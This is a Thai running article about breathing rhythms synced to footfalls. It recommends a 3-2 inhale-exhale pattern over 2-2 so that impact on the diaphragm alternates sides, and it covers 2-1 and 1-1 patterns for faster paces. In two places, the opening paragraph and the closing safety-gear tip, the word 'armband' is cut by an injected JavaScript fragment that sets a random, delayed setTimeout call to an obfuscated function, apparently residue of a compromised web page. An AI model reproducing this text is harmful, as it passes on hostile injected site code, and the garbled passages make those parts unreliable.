Running Pattern เทคนิคสร้างจังหวะการวิ่ง
จังหวะการหายใจที่สัมพันธ์การการลงเท้าจะช่วยให้การวิ่งเราไปได้เร็วขึ้นเเละวิ่งได้นานขึ้น เพราะมีลมเลี้ยงได้อย่างต่อเนื่อง ปอดและกล้ามเนื้อกระบังลมทำงานสัมพันธ์กัน
จำไว้ว่าทุกครั้งที่กดปุ่ม strat บนแอฟวิ่งอย่าง Runtastic, Endomondo หรือ Strava และใส่ Armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ไปวิ่ง กรุณาตั้งสติหายใจเข้าเเละออกให้มั่น มันจะช่วยให้คุณวิ่งไปได้ไกลกว่าที่คิดเลยละ
ก่อนจะอธิบายจังหวะการวิ่ง 3-2 แนะนำว่าใครที่ยังไม่ได้อ่านเทคนิคการหายใจด้วยท้อง หรือ Belly breath ให้กลับไปอ่านดูก่อน เพราะการฝึกเทคนิคนี้จะใช้ควบคู่การการหายใจ และถ้าเราสามารถหายใจด้วยการใช้หน้าท้องมากกว่าการใช้ทรวงอกหรือสามารถควบคุมการหายใจทั้งใช้หน้าท้องและทรวงอกไปด้วยกันแล้วจะทำให้ประสิทธิภาพการวิ่งดีมากยิ่งขึ้น
โดยทั่วไปแล้วนักวิ่งส่วนมากมักจะคุ้นชินกับจังหวะการวิ่ง 2-2 ซึ่งอธิบายได้คือ….in, 2, out, 2
1. หายใจเข้าพร้อมกับก้าวเท้าขวา นับ 1 แต่ให้เรียกว่า in จะเข้าใจง่ายกว่า
2. เท้าซ้ายลงพื้นนับ 2
3. เท้าขวาลงนับ 1 หรือ out
4. ซ้ายลงนับ 2
5. ขวาลงอีกครั้งนับ 1 หรือ in
สังเกตได้ว่าการหายใจเข้าออกจะลงที่เท้าขวาทุกครั้ง และการจังหวะแรงกระแทกที่ส่งจากช่วงล่าง จากเท้าที่กระทบพื้น สู่ช่วงลำตัวและสู่กล้ามเนื้อกระบังลม (Diaphragm) ขณะยืดหดตัวก็มาจากเท้าขวา ทุกครั้งครั้งที่หายใจเรารับแรงจากด้านขวาอย่างเดียว แต่การวิ่งจังหวะ 3-2 จะช่วยให้เราสามารถสลับแรงกระแทก ให้กล้ามเนื้อกระบังลมรับแรงจากเท้าซ้ายขวาสลับกัน ช่วยไม่ให้กล้ามเนื้อด้านใดทำงานหนักข้างเดียวกันตลอด
การสร้างจังหวะวิ่งแบบ 3-2 หรือช่วงจังหวะหายใจเข้าจะลงเท้า 3 ครั้ง และหายใจออก 2 ครั้ง จะช่วยป้องกันอาการบาดเจ็บได้ดีขึ้น เพราะช่วงที่เราหายใจอยู่นั้น กล้ามเนื้อจะมีการยืดหด โดยเฉพาะช่วงหายใจเข้า กล้ามเนื้อเราจะหดตัว (contract) สร้างความเสถียร (stability) ให้กล้ามเนื้อ core ได้มากที่สุด แต่เมื่อหายใจออกกล้ามเนื้อจะยืดตัวอยู่ในสภาวะรีเล็กซ์ ลดความเสถียรของกล้ามเนื้อ core ลง ดังนั้นจังหวะ 3-2 จึงออกแบบมาให้ลงขาในช่วงหายใจเข้ามากที่สุด ร่างกายเราเสถียรพร้อมรับแรงกระแทกได้มากกว่าช่วงลงขาขณะหายใจออก
วิธีการวิ่งจังหวะ 3-2 คือ…..in, 2, 3, out, 2
1. จังหวะที่ก้าวเท้าขวาลงหายใจเข้านับ in
2. ขาซ้ายก้าวนับ 2
3. ขาขวาก้าวนับ 3
4. ขาซ้ายก้าวและหายใจออกนับ out
5. ขาขวาก้าวนับ 2
6. ขาซ้ายลงและหายใจนับ in
จะเห็นได้ว่าจังหวะหายใจเข้าจะสลับกันระหว่างซ้ายและขวา ทำให้กระบังลมไม่ต้องรับแรงกระแทกอยู่อยู่ข้างใดข้างหนึ่ง แต่ในการนำไปใช้ช่วงแรกลองฝึกหายใจโดยการเดินวอร์มอัพเบาๆ ก่อน เพื่อปรับตัวให้คุ้นเคยกับการหายใจและจังหวะลงเท้า
เราอาจจะลองนอนลงกับพื้นและชันขาขึ้น กระดกขาขึ้นลงเลียนแบบการเดินวิ่ง อย่าลืมฝึกพร้อมกับการหายใจด้วย โดยวางมือทาบลงบนท้องและหน้าอก
สามารถดูตามคลิปดังนี้……..
เมื่อเราสามารถจับจังหวะและหายใจได้เป็นปกติแล้ว ในเวลาที่ราต้องวิ่งเร็วขึ้น ก็สามารถลดทอนลงเป็นจังหวะ 2-1 คือ…in, 2, out
1. หายใจเข้าและก้าวเท้าขวานับ in
2. ขาซ้ายก้าวนับ 2
3. ขาขวาก้าวและหายใจออกนับ out
4. ก้าวขาซ้ายและหายใจเข้านับ in
หรือเป็น 1-1 เมื่อวิ่งเร็วขึ้นเมื่อเราลดความเร็วลงก็เปลี่ยนมาใช้จังหวะ 3-2 เหมือนเดิม
ในการฝึกเเนะนำไม่ให้ฟังเพลงหรือวิ่งในขณะที่มีคนพลุกพล่าน อย่างตอนเย็นๆ เพราะจะทำให้เราเสียสมาธิ ไปฟังจังหวะการวิ่งการหายใจของคนอื่นเขา ลองวิ่งช่วง 6 โมงเย็นเป็นต้นไปดูครับหรือช่วงเช้ามืดที่คนยังน้อยอยู่ และอย่าลืมนำอุปกรณ์ความปลอดภัยติดตัวไปด้วยอย่างเจ้า Runtastic safety armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and หรือ safety shoes clips ไปด้วยเขาวิ่งผ่านหรือรถยานยนต์จะสังเกตเห็นเราได้ชัด
ที่มาwww.runnersworld.com
